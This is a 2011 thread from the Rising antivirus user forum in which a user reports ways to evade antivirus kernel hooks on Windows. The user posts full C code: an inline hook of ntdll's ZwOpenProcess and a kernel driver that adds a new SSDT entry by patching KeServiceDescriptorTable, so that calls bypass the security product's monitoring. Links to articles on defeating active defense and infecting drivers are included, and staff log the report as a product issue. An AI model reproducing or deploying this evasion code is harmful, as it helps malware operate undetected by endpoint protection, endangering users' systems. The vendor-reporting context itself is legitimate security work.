瑞星卡卡安全论坛

首页 » 个人产品讨论区 » 瑞星杀毒软件 » 瑞星全功能安全软件 » 从网上淘的---请验证@@@
shulun743 - 2011-1-11 19:45:00
发现由ntoskrnl.exe导出ZwTerminateProcess,ZwTerminateJobObject等函数的地址,竟是真实的地址。

若 再执行一段指针操作,应该可以绕过SSDT,inline等吧???


请验证!!!


用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Maxthon/3.0 Safari/533.9
networkedition - 2011-1-12 10:15:00
请详细描述具体操作步骤等相关信息。
shulun743 - 2011-1-13 9:52:00
就拿卡巴举例吧,他挂了NtCreateKey来检测注册表的创建,NtCreateThread和NtResumeThread/NtWriteVirtualMemory来检测远程注入, 等等,这些钩子让我们后期的动作很可能暴露,怎么样才能为所欲为呢?
我这里提一种方案:
1. 首先在用户态读取NTOSKRNL.EXE,找出原始的SSDT的位置,提交到内核驱动中,内核保存起来以便使用
2. 在用户态勾住Ntdll中的NtCreateThread,
3. 当调用NtCreateThread,直接将NtCreateThread的参数以及SSDT索引号通过DeviceIoControl传递到自己的驱动中,在自己的驱动手动压栈并根据对应的SSDT索引号来调用相应的函数,最后将返回值传递到应用层, 这个只是针对NtCreateThread的特例,其他的可以照搬, 不过不用担心必须针对任何一个函数都要在驱动做特定的措施,可以写个通用的,这个就自己想办法了,我倒是早就实现了一个,不过感觉有点黄and暴力,就不贴代码了.
经过我们这番处理之后,流程的变化我简单描述一下:

干净的系统创建线程的流程:
CreateThread->NtCreateThread->(2000通过int 2e进入内核)->原始的SSDT表中的NtCreateThread->

安装安全产品后的创建线程的流程:
CreateThread->NtCreateThread->(2000通过int 2e进入内核)->被挂钩的SSDT表中的NtCreateThread(这里安全软件开始检测)->原始的SSDT表中的NtCreateThread->

经过我们处理后的流程:
CreateThread->NtCreateThread->(通过DeviceIoControl进入内核)->直接调用原始的SSDT表中的NtCreateThread->
shulun743 - 2011-1-13 9:53:00
第二种思路:::
      ssdt添加一个表项指向已经被hook的某api,我这例子里是NtOpenProcess

然后ring3 hook ntdll里的ZwOpenProcess.

其中的服务号修改成我们自己添加的 ssdt表项. 就好了

很简单是不是?~ 可是我这问题问了好多地方 没人理我,- - 跟人说吧 人家听不明白我想干啥?

表达能力成这样了~ 真xxx可悲.


//==========================ring3的=================================

#include "stdafx.h"

//copyright by Mink

//blog:http://hi.baidu.com/Mink_

_declspec (naked) void WINAPI MyZwOpenProcess(DWORD ProcessHandle,DWORD DesiredAccess,DWORD ObjectAttributes,DWORD ClientId)
{
OutputDebugStringA("被hook了");
__asm
{
  mov eax,11ch//服务号,xp sp3下283+1=284
  mov edx,7FFE0300h
  call dword ptr [edx]
  ret 10h
}
}


DWORD GetApiAddress(DWORD imageBase,char* apiName)

//这里是eat 遍历的.跟本文主题没有关系,我原先想eat hook 代码就顺便写这里了
{
PIMAGE_DOS_HEADER pDosHead;
PIMAGE_NT_HEADERS pNtHead;
PIMAGE_DATA_DIRECTORY pDir;
PIMAGE_EXPORT_DIRECTORY pExportTable;
PDWORD AddressOfNames,AddressOfFunctions;
PWORD AddressOfNameOrdinals;//字
DWORD address=NULL;


pDosHead=(PIMAGE_DOS_HEADER)imageBase;

if(pDosHead->e_magic!=IMAGE_DOS_SIGNATURE)
{
  goto err;
}

pNtHead=(PIMAGE_NT_HEADERS)((DWORD)pDosHead+pDosHead->e_lfanew);

if(pNtHead->Signature!=IMAGE_NT_SIGNATURE)
{
  goto err;
}

pDir=(PIMAGE_DATA_DIRECTORY)&(pNtHead->OptionalHeader.DataDirectory);

pExportTable=(PIMAGE_EXPORT_DIRECTORY)((DWORD)pDosHead+pDir->VirtualAddress);

AddressOfNames=(PDWORD)((DWORD)pDosHead+pExportTable->AddressOfNames);
AddressOfNameOrdinals=(PWORD)((DWORD)pDosHead+pExportTable->AddressOfNameOrdinals);
AddressOfFunctions=(PDWORD)((DWORD)pDosHead+pExportTable->AddressOfFunctions);

for(int i=0;i<pExportTable->NumberOfNames;i++)
{
  address=(DWORD)AddressOfFunctions[AddressOfNameOrdinals];
  //printf("apiName is: %s\t apiAddress is:0x%x\n",(char*)((DWORD)pDosHead+AddressOfNames),address);
  if(!lstrcmpA((char*)((DWORD)pDosHead+AddressOfNames),apiName))
  {
    //printf("%s\n",(char*)((DWORD)pDosHead+AddressOfNames));
    //printf("0x%x\n",imageBase);
    address+=imageBase;
    //printf("0x%x\n",address);
    break;
  }
}
err:
return address;
}

int _tmain(int argc, _TCHAR* argv[])
{

HMODULE hMod;
HANDLE hand;
hMod=GetModuleHandle(L"ntdll.dll");
FARPROC openAddress;
DWORD dwOldProtect;

openAddress=GetProcAddress(hMod,"ZwOpenProcess");
VirtualProtect(openAddress, 5, PAGE_READWRITE, &dwOldProtect);

*(PBYTE)openAddress = 0xe9;
*(PDWORD)((PBYTE)openAddress + 1) = ((DWORD)MyZwOpenProcess - (DWORD)openAddress) - 5;

hand=OpenProcess(PROCESS_ALL_ACCESS,false,GetCurrentProcessId());
GetLastError();
if(hand)
{
  printf("调用成功\n");
}
else
{
  printf("调用失败!\n");
}
getchar();
return 0;
}

//========================ring3的===================================



//=====至于ring0 不敢说原创,undocument windows nt里的代码稍微改了下=========

#include <ntddk.h>

#define UCHAR unsigned char
#define PUCHAR unsigned char*

typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pDevice;
UNICODE_STRING ustrDeviceName;
UNICODE_STRING ustrSymLinkName;
}DEVICE_EXTENSION,*PDEVICE_EXTENSION;

typedef struct ServiceDescriptorEntry {
    PULONG ServiceTableBase;         
    PULONG ServiceCounterTableBase; 
    ULONG NumberOfServices;         
    PUCHAR ParamTableBase;         
} ServiceDescriptorTableEntry , *PServiceDescriptorTableEntry;

NTSTATUS CreateDevice(IN PDRIVER_OBJECT);
NTSTATUS MinkAddServices();
void MinkUnloadDriver(IN PDRIVER_OBJECT);

//=====至于ring0 不敢说原创,undocument windows nt里的代码稍微改了下=========


//=====至于ring0 不敢说原创,undocument windows nt里的代码稍微改了下=========

#include "AddSSDT.h"
/*
copyright by Mink
blog:http://hi.baidu.com/mink_
*/
PULONG NewServiceTableBase;
PUCHAR NewParamTableBase;
ULONG NewNumberOfServices;
ULONG StartServiceid;
ULONG TheServiceid;
ULONG AddrOfNtWriteVirtualMemory=0;

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

__declspec(dllimport) __stdcall KeAddSystemServiceTable(ULONG, ULONG, ULONG, ULONG, ULONG);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegisteryPath)
{
NTSTATUS status=STATUS_SUCCESS;
status=CreateDevice(pDriverObject);
pDriverObject->DriverUnload=MinkUnloadDriver;
//pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=MinkControl;
MinkAddServices();
return status;
}

NTSTATUS CreateDevice(IN PDRIVER_OBJECT pDriverObject)
{
NTSTATUS status;
PDEVICE_OBJECT pDeviceObject;
PDEVICE_EXTENSION pDeviceExten;
UNICODE_STRING deviceName;
UNICODE_STRING symLinkName;

RtlInitUnicodeString(&deviceName,L"\\Device\\MinkSSDT");

status=IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),&deviceName,FILE_DEVICE_UNKNOWN,0,TRUE,&pDeviceObject);
if(!NT_SUCCESS(status))
{
  goto err;
}

pDeviceObject->Flags|=DO_BUFFERED_IO;
pDeviceExten=(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
pDeviceExten->pDevice=pDeviceObject;
pDeviceExten->ustrDeviceName=deviceName;

RtlInitUnicodeString(&symLinkName,L"\\??\\MinkDeSSDT");
pDeviceExten->ustrSymLinkName=symLinkName;

status=IoCreateSymbolicLink(&symLinkName,&deviceName);

if(!NT_SUCCESS(status))
{
  IoDeleteDevice(pDeviceObject);
  goto err;
}
status=STATUS_SUCCESS;

err:
return status;
}

void MinkUnloadDriver(IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT pNextObj;
KdPrint(("开始卸载\n"));
pNextObj=pDriverObject->DeviceObject;
while(pNextObj!=NULL)
{
  PDEVICE_EXTENSION pDevExt=(PDEVICE_EXTENSION)pNextObj->DeviceExtension;
  UNICODE_STRING pLinkName=pDevExt->ustrSymLinkName;
  IoDeleteSymbolicLink(&pLinkName);
  pNextObj=pNextObj->NextDevice;
  IoDeleteDevice(pDevExt->pDevice);
}
KdPrint(("卸载完成\n"));
}


ULONG GetShadowTableAddress()
{
int i;
PUCHAR p;
ULONG temp;
p=(PUCHAR)KeAddSystemServiceTable;
for(i=0;i<4096;i++,p++)
{
  __try
  {
    temp=*(PULONG)p;
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
    KdPrint(("发生异常!!\n"));
    goto err;
  }
  if(MmIsAddressValid((PVOID)temp))
  {
    if(!RtlCompareMemory((PVOID)temp,KeServiceDescriptorTable,16))
    {
    if((PVOID)temp==KeServiceDescriptorTable)
    {
      continue;
    }
    return temp;
    }
  }
}
err:
return 0;
}
NTSTATUS MinkAddServices()
{
NTSTATUS status;
PServiceDescriptorTableEntry KeServiceDescriptorTableShadow;
ULONG NtOpenProcessAddress;//NTOPENPROCESS 的函数地址
ULONG argCount=16;
UNICODE_STRING funName;
RtlInitUnicodeString(&funName,L"NtOpenProcess");

NtOpenProcessAddress=(ULONG)MmGetSystemRoutineAddress(&funName);//获取ntopenprocess的函数地址
KeServiceDescriptorTableShadow=(PServiceDescriptorTableEntry)GetShadowTableAddress();//获取shadow ssdt的函数地址

if(!KeServiceDescriptorTableShadow)
{
  KdPrint(("没有找到shadow ssdt\n"));
  status=STATUS_UNSUCCESSFUL;
  goto err;
}

KdPrint(("ShadowTable address is:0x%x\n",KeServiceDescriptorTableShadow));
NewNumberOfServices=KeServiceDescriptorTable->NumberOfServices+1;
NewServiceTableBase=(PULONG)ExAllocatePool(PagedPool,NewNumberOfServices*sizeof(ULONG));
if(!NewServiceTableBase)
{
  status=STATUS_INSUFFICIENT_RESOURCES;
  goto err;
}
NewParamTableBase=(PUCHAR)ExAllocatePool(PagedPool,NewNumberOfServices);
if(!NewParamTableBase)
{
  ExFreePool(NewServiceTableBase);
  return STATUS_INSUFFICIENT_RESOURCES;
}

RtlCopyMemory(NewServiceTableBase,KeServiceDescriptorTable->ServiceTableBase,KeServiceDescriptorTable->NumberOfServices*sizeof(ULONG));
RtlCopyMemory(NewParamTableBase,KeServiceDescriptorTable->ParamTableBase,KeServiceDescriptorTable->NumberOfServices);

RtlCopyMemory(NewServiceTableBase+KeServiceDescriptorTable->NumberOfServices,&NtOpenProcessAddress,sizeof(ULONG));
RtlCopyMemory(NewParamTableBase+KeServiceDescriptorTable->NumberOfServices,&argCount,sizeof(ULONG));

//更新ssdt跟shadow ssdt

KeServiceDescriptorTable->ServiceTableBase=NewServiceTableBase;
KeServiceDescriptorTable->ParamTableBase=NewParamTableBase;
KeServiceDescriptorTable->NumberOfServices=NewNumberOfServices;

//............................................................................................................................................
KeServiceDescriptorTableShadow->ServiceTableBase=NewServiceTableBase;
KeServiceDescriptorTableShadow->ParamTableBase=NewParamTableBase;
KeServiceDescriptorTableShadow->NumberOfServices=NewNumberOfServices;

status=STATUS_SUCCESS;

err:
return status;
}
shulun743 - 2011-1-13 9:58:00
一些参考资料:::

http://hi.baidu.com/nohacks/blog/item/b9911552bd869c0d0df3e36b.html            Hotpatch方法过主动

http://bbs.pediy.com/showthread.php?t=65628                                                                驱动感染

http://rshell.blog.163.com/blog/static/41619170200911902822871/                        ring3下感染驱动

http://hi.baidu.com/macro913/blog/item/8c24c04320bdd1199313c611.html              dmload.sys可以实现一种新型的驱动加载方式
networkedition - 2011-1-13 10:26:00
lz反馈的这些都是能过瑞星,还是对瑞星产品的建议:kaka2: 如果是建议请说明一下,具体针对那部分的功能建议。
shulun743 - 2011-1-13 10:30:00
过主防的
万事达 - 2011-1-13 10:38:00
该问题已收集,感谢您的支持。
浩浩荡 - 2011-1-21 14:27:00
好像不能过吧
1
查看完整版本: 从网上淘的---请验证@@@